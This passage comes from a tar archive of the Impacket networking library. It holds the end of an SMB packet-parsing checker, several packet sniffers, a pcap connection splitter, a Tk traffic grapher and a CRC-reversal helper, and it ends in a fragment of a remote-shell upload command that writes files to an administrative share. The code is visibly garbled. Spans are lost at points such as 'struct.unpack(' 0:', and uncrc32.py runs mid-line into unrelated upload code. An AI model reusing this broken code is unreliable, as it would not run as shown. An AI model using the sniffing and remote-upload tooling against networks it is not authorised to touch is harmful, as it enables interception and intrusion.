paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength']
trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount]
else:
trans2Data['Trans_Parameters'] = ''
if trans2Parameters['DataOffset'] > 0:
dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength']
trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
else:
# Response
# ToDo not implemented yet
a = 1
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComOpenAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return True
print "SMB_COM_OPEN_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters'])
openAndXData = smb.SMBOpenAndX_Data(SMBCommand['Data'])
else:
# Response
openFileResponse = SMBCommand
openFileParameters = smb.SMBOpenAndXResponse_Parameters(openFileResponse['Parameters'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComWriteAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_WRITE_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
if SMBCommand['WordCount'] == 0x0C:
writeAndX = smb.SMBWriteAndX_Parameters2(SMBCommand['Parameters'])
else:
writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters'])
writeAndXData = smb.SMBWriteAndX_Data()
writeAndXData['DataLength'] = writeAndX['DataLength']
if writeAndX['DataLength'] > 0:
writeAndXData.fromString(SMBCommand['Data'])
else:
# Response
writeResponse = SMBCommand
writeResponseParameters = smb.SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComNtCreateAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_NT_CREATE_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
ntCreateAndXData = smb.SMBNtCreateAndX_Data(SMBCommand['Data'])
else:
# Response
ntCreateResponse = SMBCommand
ntCreateParameters = smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComTreeConnectAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_TREE_CONNECT_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
treeConnectAndXData = smb.SMBTreeConnectAndX_Data()
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
else:
# Response
treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters(SMBCommand['Parameters'])
#treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComSessionSetupAndX( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
if packet['ErrorClass'] != 0x16:
return False
print "SMB_COM_SESSION_SETUP_ANDX ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
if SMBCommand['WordCount'] == 12:
# Extended Security
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
messageType = struct.unpack(' 0:
infoFields = ntlmChallenge['TargetInfoFields']
av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
__server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
__server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
else:
# Standard Security
sessionResponse = SMBCommand
sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])
sessionData = smb.SMBSessionSetupAndXResponse_Data(flags = packet['Flags2'], data = sessionResponse['Data'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
def smbComNegotiate( packet, packetNum, command, questions, replies):
sessionResponse = command
if packet['Flags1'] & smb.SMB.FLAGS1_REPLY:
print "SMB_COM_NEGOTIATE ",
try:
_dialects_parameters = smb.SMBNTLMDialect_Parameters(sessionResponse['Parameters'])
_dialects_data = smb.SMBNTLMDialect_Data()
_dialects_data['ChallengeLength'] = _dialects_parameters['ChallengeLength']
_dialects_data.fromString(sessionResponse['Data'])
if _dialects_parameters['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
_dialects_parameters = smb.SMBExtended_Security_Parameters(sessionResponse['Parameters'])
_dialects_data = smb.SMBExtended_Security_Data(sessionResponse['Data'])
except Exception, e:
print "ERROR: %s" % e
print "Command: 0x%x" % packet['Command']
print "Packet: %d %r" % (packetNum, packet.getData())
return True
else:
print 'OK!'
return False
# Format
# { SMBCOMMAND: ((questionStruts),(replyStructus), handler) }
HANDLER = 2
REPLIES = 1
QUESTIONS = 0
smbCommands = {
# smb.SMB.SMB_COM_CREATE_DIRECTORY: (,
# smb.SMB.SMB_COM_DELETE_DIRECTORY: self.smbComDeleteDirectory,
# smb.SMB.SMB_COM_RENAME: self.smbComRename,
# smb.SMB.SMB_COM_DELETE: self.smbComDelete,
smb.SMB.SMB_COM_NEGOTIATE: ( None,None,smbComNegotiate),
smb.SMB.SMB_COM_SESSION_SETUP_ANDX: ( None,None,smbComSessionSetupAndX),
# smb.SMB.SMB_COM_LOGOFF_ANDX: self.smbComLogOffAndX,
smb.SMB.SMB_COM_TREE_CONNECT_ANDX: ( None,None,smbComTreeConnectAndX),
# smb.SMB.SMB_COM_TREE_DISCONNECT: self.smbComTreeDisconnect,
# smb.SMB.SMB_COM_ECHO: self.get_th_sportsmbComEcho,
# smb.SMB.SMB_COM_QUERY_INFORMATION: self.smbQueryInformation,
smb.SMB.SMB_COM_TRANSACTION2: ( None, None, smbTransaction2),
# smb.SMB.SMB_COM_TRANSACTION: self.smbTransaction,
# smb.SMB.SMB_COM_NT_TRANSACT: self.smbNTTransact,
# smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: sler.smbQueryInformationDisk,
smb.SMB.SMB_COM_OPEN_ANDX: (None, None, smbComOpenAndX),
# smb.SMB.SMB_COM_QUERY_INFORMATION2: self.smbComQueryInformation2,
# smb.SMB.SMB_COM_READ_ANDX: self.smbComReadAndX,
# smb.SMB.SMB_COM_READ: self.smbComRead,
smb.SMB.SMB_COM_WRITE_ANDX: (None, None, smbComWriteAndX),
# smb.SMB.SMB_COM_WRITE: self.smbComWrite,
# smb.SMB.SMB_COM_CLOSE: self.smbComClose,
# smb.SMB.SMB_COM_LOCKING_ANDX: self.smbComLockingAndX,
smb.SMB.SMB_COM_NT_CREATE_ANDX: (None, None, smbComNtCreateAndX),
# 0xFF: self.default
}
# Returns True is the packet needs to be logged
def process(data, packetNum):
packet = smb.NewSMBPacket()
if data.get_packet()[0] == '\x00':
if data.get_packet()[4:8] == '\xffSMB':
try:
packet.fromString(data.get_packet()[4:])
except Exception, e:
print "ERROR: %s" % e
print "Command: SMBPacket"
print "Packet: %d %r" % (packetNum, data.get_packet())
return True
else:
return False
else:
return False
try:
SMBCommand = smb.SMBCommand(packet['Data'][0])
except Exception, e:
print "ERROR: %s" % e
print "Command: SMBCommand"
print "Packet: %d %r" % (packetNum, data.get_packet())
return True
if smbCommands.has_key(packet['Command']):
return smbCommands[packet['Command']][HANDLER](packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES])
#else:
# print "Command 0x%x not handled" % packet['Command']
def main():
import sys
DEFAULT_PROTOCOLS = ('tcp',)
sockets = []
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument("-i", metavar = 'FILE', help = 'pcap file to read packets. If not specified the program sniffes traffic (only as root)')
parser.add_argument("-o", metavar = 'FILE', help = 'pcap output file where the packets with errors will be written')
options = parser.parse_args()
outFile = options.o
if options.i is None:
sniffTraffic = True
toListen = DEFAULT_PROTOCOLS
else:
sniffTraffic = False
inFile = options.i
packetNum = 0
if outFile:
f_out = open(outFile,'wb')
f_out.write(str(pcapfile.PCapFileHeader()))
if sniffTraffic is False:
f_in = open(inFile,'rb')
hdr = pcapfile.PCapFileHeader()
hdr.fromString(f_in.read(len(hdr)))
decoder = ImpactDecoder.EthDecoder()
else:
for protocol in toListen:
try:
protocol_num = socket.getprotobyname(protocol)
except socket.error:
print "Ignoring unknown protocol:", protocol
toListen.remove(protocol)
continue
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sockets.append(s)
print "Listening on protocols:", toListen
decoder = ImpactDecoder.IPDecoder()
while 1:
if sniffTraffic is False:
pkt = pcapfile.PCapFilePacket()
try:
pkt.fromString(f_in.read(len(pkt)))
except:
break
pkt['data'] = f_in.read(pkt['savedLength'])
p = pkt['data']
else:
ready = select(sockets, [], [])[0]
for s in ready:
p = s.recvfrom(4096)[0]
if 0 == len(p):
# Socket remotely closed. Discard it.
sockets.remove(s)
s.close()
packet = decoder.decode(p)
packetNum += 1
if sniffTraffic is True:
instance = packet.child()
else:
instance = packet.child().child()
if isinstance(instance, ImpactPacket.TCP):
tcppacket = instance
if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport() == 445 or tcppacket.get_th_sport() == 139 or tcppacket.get_th_dport() == 139:
data = tcppacket.child()
if data.get_size() > 0:
logPacket = process(data, packetNum)
if logPacket is True:
pkt_out = pcapfile.PCapFilePacket()
if sniffTraffic is True:
eth = ImpactPacket.Ethernet()
eth.contains(packet)
eth.set_ether_type(0x800)
pkt_out['data'] = eth.get_packet()
else:
pkt_out['data'] = str(p)
if outFile:
f_out.write(str(pkt_out))
if __name__ == '__main__':
main()
impacket-0.9.15/examples/sniff.py 0000700 0000765 0000000 00000006132 12734531507 016751 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple packet sniffer.
#
# This packet sniffer uses the pcap library to listen for packets in
# transit over the specified interface. The returned packages can be
# filtered according to a BPF filter (see tcpdump(3) for further
# information on BPF filters).
#
# Note that the user might need special permissions to be able to use pcap.
#
# Authors:
# Maximiliano Caceres
# Javier Kohen
#
# Reference for:
# pcapy: findalldevs, open_live.
# ImpactDecoder.
import sys
from threading import Thread
import pcapy
from pcapy import findalldevs, open_live
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
class DecoderThread(Thread):
def __init__(self, pcapObj):
# Query the type of the link and instantiate a decoder accordingly.
datalink = pcapObj.datalink()
if pcapy.DLT_EN10MB == datalink:
self.decoder = EthDecoder()
elif pcapy.DLT_LINUX_SLL == datalink:
self.decoder = LinuxSLLDecoder()
else:
raise Exception("Datalink type not supported: " % datalink)
self.pcap = pcapObj
Thread.__init__(self)
def run(self):
# Sniff ad infinitum.
# PacketHandler shall be invoked by pcap for every packet.
self.pcap.loop(0, self.packetHandler)
def packetHandler(self, hdr, data):
# Use the ImpactDecoder to turn the rawpacket into a hierarchy
# of ImpactPacket instances.
# Display the packet in human-readable form.
print self.decoder.decode(data)
def getInterface():
# Grab a list of interfaces that pcap is able to listen on.
# The current user will be able to listen from all returned interfaces,
# using open_live to open them.
ifs = findalldevs()
# No interfaces available, abort.
if 0 == len(ifs):
print "You don't have enough permissions to open any interface on this system."
sys.exit(1)
# Only one interface available, use it.
elif 1 == len(ifs):
print 'Only one interface present, defaulting to it.'
return ifs[0]
# Ask the user to choose an interface from the list.
count = 0
for iface in ifs:
print '%i - %s' % (count, iface)
count += 1
idx = int(raw_input('Please select an interface: '))
return ifs[idx]
def main(filter):
dev = getInterface()
# Open interface for catpuring.
p = open_live(dev, 1500, 0, 100)
# Set the BPF filter. See tcpdump(3).
p.setfilter(filter)
print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())
# Start sniffing thread and finish main thread.
DecoderThread(p).start()
# Process command-line arguments. Take everything as a BPF filter to pass
# onto pcap. Default to the empty filter (match all).
filter = ''
if len(sys.argv) > 1:
filter = ' '.join(sys.argv[1:])
main(filter)
impacket-0.9.15/examples/sniffer.py 0000700 0000765 0000000 00000004033 12734531507 017276 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple packet sniffer.
#
# This packet sniffer uses a raw socket to listen for packets
# in transit corresponding to the specified protocols.
#
# Note that the user might need special permissions to be able to use
# raw sockets.
#
# Authors:
# Gerardo Richarte
# Javier Kohen
#
# Reference for:
# ImpactDecoder.
from select import select
import socket
import sys
from impacket import ImpactDecoder
DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')
if len(sys.argv) == 1:
toListen = DEFAULT_PROTOCOLS
print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]
else:
toListen = sys.argv[1:]
# Open one socket for each specified protocol.
# A special option is set on the socket so that IP headers are included with
# the returned data.
sockets = []
for protocol in toListen:
try:
protocol_num = socket.getprotobyname(protocol)
except socket.error:
print "Ignoring unknown protocol:", protocol
toListen.remove(protocol)
continue
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sockets.append(s)
if 0 == len(toListen):
print "There are no protocols available."
sys.exit(0)
print "Listening on protocols:", toListen
# Instantiate an IP packets decoder.
# As all the packets include their IP header, that decoder only is enough.
decoder = ImpactDecoder.IPDecoder()
while len(sockets) > 0:
# Wait for an incoming packet on any socket.
ready = select(sockets, [], [])[0]
for s in ready:
packet = s.recvfrom(4096)[0]
if 0 == len(packet):
# Socket remotely closed. Discard it.
sockets.remove(s)
s.close()
else:
# Packet received. Decode and display it.
packet = decoder.decode(packet)
print packet
impacket-0.9.15/examples/split.py 0000700 0000765 0000000 00000010450 12734531507 016775 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Pcap dump splitter.
#
# This tools splits pcap capture files into smaller ones, one for each
# different TCP/IP connection found in the original.
#
# Authors:
# Alejandro D. Weil
# Javier Kohen
#
# Reference for:
# pcapy: open_offline, pcapdumper.
# ImpactDecoder.
import sys
from exceptions import Exception
import pcapy
from pcapy import open_offline
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
class Connection:
"""This class can be used as a key in a dictionary to select a connection
given a pair of peers. Two connections are considered the same if both
peers are equal, despite the order in which they were passed to the
class constructor.
"""
def __init__(self, p1, p2):
"""This constructor takes two tuples, one for each peer. The first
element in each tuple is the IP address as a string, and the
second is the port as an integer.
"""
self.p1 = p1
self.p2 = p2
def getFilename(self):
"""Utility function that returns a filename composed by the IP
addresses and ports of both peers.
"""
return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1])
def __cmp__(self, other):
if ((self.p1 == other.p1 and self.p2 == other.p2)
or (self.p1 == other.p2 and self.p2 == other.p1)):
return 0
else:
return -1
def __hash__(self):
return (hash(self.p1[0]) ^ hash(self.p1[1])
^ hash(self.p2[0]) ^ hash(self.p2[1]))
class Decoder:
def __init__(self, pcapObj):
# Query the type of the link and instantiate a decoder accordingly.
datalink = pcapObj.datalink()
if pcapy.DLT_EN10MB == datalink:
self.decoder = EthDecoder()
elif pcapy.DLT_LINUX_SLL == datalink:
self.decoder = LinuxSLLDecoder()
else:
raise Exception("Datalink type not supported: " % datalink)
self.pcap = pcapObj
self.connections = {}
def start(self):
# Sniff ad infinitum.
# PacketHandler shall be invoked by pcap for every packet.
self.pcap.loop(0, self.packetHandler)
def packetHandler(self, hdr, data):
"""Handles an incoming pcap packet. This method only knows how
to recognize TCP/IP connections.
Be sure that only TCP packets are passed onto this handler (or
fix the code to ignore the others).
Setting r"ip proto \tcp" as part of the pcap filter expression
suffices, and there shouldn't be any problem combining that with
other expressions.
"""
# Use the ImpactDecoder to turn the rawpacket into a hierarchy
# of ImpactPacket instances.
p = self.decoder.decode(data)
ip = p.child()
tcp = ip.child()
# Build a distinctive key for this pair of peers.
src = (ip.get_ip_src(), tcp.get_th_sport() )
dst = (ip.get_ip_dst(), tcp.get_th_dport() )
con = Connection(src,dst)
# If there isn't an entry associated yetwith this connection,
# open a new pcapdumper and create an association.
if not self.connections.has_key(con):
fn = con.getFilename()
print "Found a new connection, storing into:", fn
try:
dumper = self.pcap.dump_open(fn)
except pcapy.PcapError, e:
print "Can't write packet to:", fn
return
self.connections[con] = dumper
# Write the packet to the corresponding file.
self.connections[con].dump(hdr, data)
def main(filename):
# Open file
p = open_offline(filename)
# At the moment the callback only accepts TCP/IP packets.
p.setfilter(r'ip proto \tcp')
print "Reading from %s: linktype=%d" % (filename, p.datalink())
# Start decoding process.
Decoder(p).start()
# Process command-line arguments.
if __name__ == '__main__':
if len(sys.argv) <= 1:
print "Usage: %s " % sys.argv[0]
sys.exit(1)
main(sys.argv[1])
impacket-0.9.15/examples/tracer.py 0000700 0000765 0000000 00000030746 12734531507 017134 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Parallel Coordinates traffic grapher.
#
# This grapher uses the pcap library to listen for packets in transit
# over the specified interface. The returned packages can be filtered
# according to a BPF filter (see tcpdump(3) for further information on
# BPF filters). The packets are displayed on a parallel coordinates
# graph that allows the user to visualize the traffic flow on the
# network in real-time.
#
# The graphing part requires Tk support. Note that the user might need
# special permissions to be able to use pcap.
#
# Authors:
# Gerardo Richarte
# Javier Kohen
#
# Reference for:
# pcapy: findalldevs, open_live.
# ImpactPacket.
# ImpactDecoder.
## Some tunable variables follow.
# Period (in ms.) to wait between pcap polls.
POLL_PERIOD = 250
# Period (in ms.) to wait between screen refreshes.
REFRESH_PERIOD = 1000
# Refresh screen after receiving new packets.
# You might want to turn off fast_draws if it consumes too much CPU,
# for instance, when used under X-Window over a network link.
fast_draws = 1
## End of user configurable section.
import socket
import sys
import time
import Tkinter
import pcapy
from pcapy import open_live, findalldevs, PcapError
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
class NumericAxis:
def __init__(self,canvas,name,low=0,high=0,direction='vertical'):
self.canvas = canvas
self.name = name
self.setLowerLimit(low)
self.setHigherLimit(high)
self.direction = direction
def screenLength(self):
if self.direction == 'vertical':
return (self.canvas.winfo_height())-10
else:
return (self.canvas.winfo_width())-10
def scaleLength(self):
delta = self.getHigherLimit()-self.getLowerLimit()
if not delta:
delta += 1
return delta
def unscale(self,coord):
return int((coord-5)*self.scaleLength()/self.screenLength()+self.getLowerLimit())
def scale(self,value):
return (value-self.getLowerLimit())*self.screenLength()/self.scaleLength()+5
def setLowerLimit(self,limit):
if not limit == None:
self._lowerLimit = limit
def setHigherLimit(self,limit):
if not limit == None:
self._higherLimit = limit
def getLowerLimit(self):
return self._lowerLimit
def getHigherLimit(self):
return self._higherLimit
def addValue(self,value):
if self.getLowerLimit() > value:
self.setLowerLimit(value)
if self.getHigherLimit() < value:
self.setHigherLimit(value)
class SymbolicAxis(NumericAxis):
def __init__(self,canvas,name,values=[],direction = 'vertical'):
NumericAxis.__init__(self,canvas,name,0,len(values)-1,direction)
self.values = list(values)
def addValue(self,value,sort = 1):
try:
self.values.index(value)
return
except:
None
self.values.append(value)
if sort:
self.values.sort()
self.setHigherLimit(len(self.getValues())-1)
def unscale(self,value):
try:
i = NumericAxis.unscale(self, value)
if i < 0: return None
return self.getValues()[i]
except Exception,e:
return None
def scale(self,value):
try:
return NumericAxis.scale(self,self.getValues().index(value))
except:
self.addValue(value)
return NumericAxis.scale(self,self.values.index(value))
def getValues(self):
return self.values
class ParallelCoordinates(Tkinter.Canvas):
def __init__(self, master=None, cnf={}, **kw):
apply(Tkinter.Canvas.__init__, (self, master, cnf), kw)
self.lastSelection = None
self.lastSelectionOval = None
self._onSelection = None
self.minColor = None
self.maxColor = None
self.colorAxis = '_counter'
self.values=[]
self.mainAxis=SymbolicAxis(self,'mainAxis',[],'horizontal')
master.bind('',self.draw)
master.bind('',self.buttonDown)
master.bind('<1>',self.buttonDown)
master.bind('',self.buttonUp)
def addAxis(self,axis):
self.mainAxis.addValue(axis,0)
def sameValue(self,a,b):
for axis in self.mainAxis.getValues():
if not a[axis.name] == b[axis.name]:
return 0
return 1
def addValue(self,value):
for each in self.values:
if self.sameValue(value,each):
each['_counter'] += 1
each['timestamp'] = value['timestamp']
value = each
break
else:
value['_counter'] = 1
for axis in self.mainAxis.getValues():
axis.addValue(value[axis.name])
self.values.append(value)
color = value[self.colorAxis]
if None == self.minColor or self.minColor > color:
self.minColor = color
if None == self.maxColor or self.maxColor < color:
self.maxColor = color
def removeValue(self, value):
self.values.remove(value)
def basicColor(self,val,fade = 1):
# color scale is linear going through green -> yellow -> red
# (lower to higher)
if val < 0.5:
val += val # val *= 2 (scale from 0 to 1)
# between green - yellow
red = 64*(1-val) + 255*val
green = 200*(1-val) + 255*val
blue = 64*(1-val) + 0
else:
val -= 0.5
val += val
red = 255*(1-val) + 255*val
green = 255*(1-val) + 64*val
blue = 0 + 0
return '#%02x%02x%02x' % (int(red*fade), int(green*fade), int(blue*fade))
def fade(self,value):
return max(0,(120.0-time.time()+value['timestamp'])/120.0)
def color(self,value,fade = 1):
# color scale is linear going through green -> yellow -> red (lower to higher)
val = float(value[self.colorAxis]-self.minColor)/(self.maxColor-self.minColor+1)
return self.basicColor(val,fade)
def drawValueLine(self,value):
x = -1
y = -1
fade = self.fade(value)
if not fade:
self.removeValue(value)
return
color = self.color(value,fade)
for axis in self.mainAxis.getValues():
px = x
py = y
x = self.mainAxis.scale(axis)
y = axis.scale(value[axis.name])
if not px == -1:
self.create_line(px,py,x,y,fill = color)
def draw(self,event = None):
# draw axis
for i in self.find_all():
self.delete(i)
for axis in self.mainAxis.getValues():
x = self.mainAxis.scale(axis)
self.create_line(x,5,x,int(self.winfo_height())-5,fill = 'white')
for value in self.values:
self.drawValueLine(value)
# draw color range
# for i in range(200):
# c = self.basicColor((i+0.0)/200)
# self.create_line(0,i,100,i,fill = c)
def buttonDown(self,event):
if (event.state & 0x0100) or (event.type == '4'):
axis = self.mainAxis.unscale(event.x)
if not axis: return
element = axis.unscale(event.y)
if not element: return
x = self.mainAxis.scale(axis)
y = axis.scale(element)
if self.lastSelectionOval:
self.delete(self.lastSelectionOval)
self.lastSelectionOval = self.create_oval(x-3,y-3,x+3,y+3,fill = "yellow")
if not self.lastSelection == (axis,element):
self.lastSelection = (axis,element)
if self._onSelection:
self._onSelection(self.lastSelection)
def buttonUp(self,event):
if self.lastSelectionOval:
self.delete(self.lastSelectionOval)
self.lastSelectionOval = None
self.lastSelection = None
if self._onSelection:
self._onSelection(None)
def onSelection(self,_onSelection):
self._onSelection = _onSelection
class Tracer:
def __init__(self, interface = 'eth0', filter = ''):
print "Tracing interface %s with filter `%s'." % (interface, filter)
self.tk = Tkinter.Tk()
self.pc = ParallelCoordinates(self.tk,background = "black")
self.pc.pack(expand=1, fill="both")
self.status = Tkinter.Label(self.tk)
self.status.pack()
self.tk.tkraise()
self.tk.title('Personal SIDRA (IP-Tracer)')
self.pc.addAxis(NumericAxis(self.pc, 'proto',256))
self.pc.addAxis(SymbolicAxis(self.pc,'shost'))
self.pc.addAxis(SymbolicAxis(self.pc,'sport'))
self.pc.addAxis(SymbolicAxis(self.pc,'dport'))
self.pc.addAxis(SymbolicAxis(self.pc,'dhost'))
self.pc.onSelection(self.newSelection)
self.interface = interface
self.filter = filter
def timerDraw(self,event = None):
self.pc.draw()
self.tk.after(REFRESH_PERIOD, self.timerDraw);
def start(self):
self.p = open_live(self.interface, 1600, 0, 100)
## self.p.setnonblock(1)
if self.filter:
self.p.setfilter(self.filter)
# Query the type of the link and instantiate a decoder accordingly.
datalink = self.p.datalink()
if pcapy.DLT_EN10MB == datalink:
self.decoder = EthDecoder()
elif pcapy.DLT_LINUX_SLL == datalink:
self.decoder = LinuxSLLDecoder()
else:
raise Exception("Datalink type not supported: " % datalink)
self.tk.after(POLL_PERIOD, self.poll)
self.tk.after(REFRESH_PERIOD, self.timerDraw);
self.tk.bind('q',self.quit)
self.tk.mainloop()
def quit(self,event):
self.tk.quit()
def poll(self,event = None):
self.tk.after(POLL_PERIOD, self.poll)
received = 0
while 1:
try:
hdr, data = self.p.next()
except PcapError, e:
break
self.newPacket(hdr.getcaplen(), data, hdr.getts()[0])
received = 1
if received and fast_draws:
self.pc.draw()
def newPacket(self, len, data, timestamp):
try:
p = self.decoder.decode(data)
except Exception, e:
pass
value = {}
try:
value['timestamp']=timestamp
value['shost']=p.child().get_ip_src()
value['dhost']=p.child().get_ip_dst()
value['proto']=p.child().child().protocol
value['sport']=-1
value['dport']=-1
except:
return
try:
if value['proto'] == socket.IPPROTO_TCP:
value['dport']=p.child().child().get_th_dport()
value['sport']=p.child().child().get_th_sport()
elif value['proto'] == socket.IPPROTO_UDP:
value['dport']=p.child().child().get_uh_dport()
value['sport']=p.child().child().get_uh_sport()
except:
pass
self.pc.addValue(value)
def setStatus(self,status):
self.status.configure(text = status)
def newSelection(self, selection):
if selection:
self.setStatus('%s:%s' % (selection[0].name, selection[1]))
else:
self.setStatus('')
def getInterfaces():
# Grab a list of interfaces that pcap is able to listen on.
# The current user will be able to listen from all returned interfaces,
# using open_live to open them.
ifs = findalldevs()
# No interfaces available, abort.
if 0 == len(ifs):
return "You don't have enough permissions to open any interface on this system."
return ifs
def printUsage():
print """Usage: %s [interface [filter]]
Interface is the name of a local network interface, see the list of available interfaces below.
Filter is a BPF filter, as described in tcpdump(3)'s man page.
Available interfaces for this user: %s
""" % (sys.argv[0], getInterfaces())
def main():
if len(sys.argv) == 1:
printUsage()
graph = Tracer()
elif len(sys.argv) == 2:
graph = Tracer(sys.argv[1])
elif len(sys.argv) == 3:
graph = Tracer(sys.argv[1],sys.argv[2])
else:
printUsage()
sys.exit(1)
graph.start()
main()
impacket-0.9.15/examples/uncrc32.py 0000700 0000765 0000000 00000001717 12734531507 017127 0 ustar beto wheel 0000000 0000000 # based on:
#
# Reversing CRC - Theory and Practice.
# HU Berlin Public Report
# SAR-PR-2006-05
# May 2006
# Authors:
# Martin Stigge, Henryk Plotz, Wolf Muller, Jens-Peter Redlich
FINALXOR = 0xffffffffL
INITXOR = 0xffffffffL
CRCPOLY = 0xEDB88320L
CRCINV = 0x5B358FD3L
from binascii import crc32
from struct import pack
def tableAt(byte):
return crc32(chr(byte ^ 0xff)) & 0xffffffff ^ FINALXOR ^ (INITXOR >> 8)
def compensate(buf, wanted):
wanted ^= FINALXOR
newBits = 0
for i in range(32):
if newBits & 1:
newBits >>= 1
newBits ^= CRCPOLY
else:
newBits >>= 1
if wanted & 1:
newBits ^= CRCINV
wanted >>= 1
newBits ^= crc32(buf) ^ FINALXOR
return pack(' 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
import ntpath
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
def do_exit(self, s):
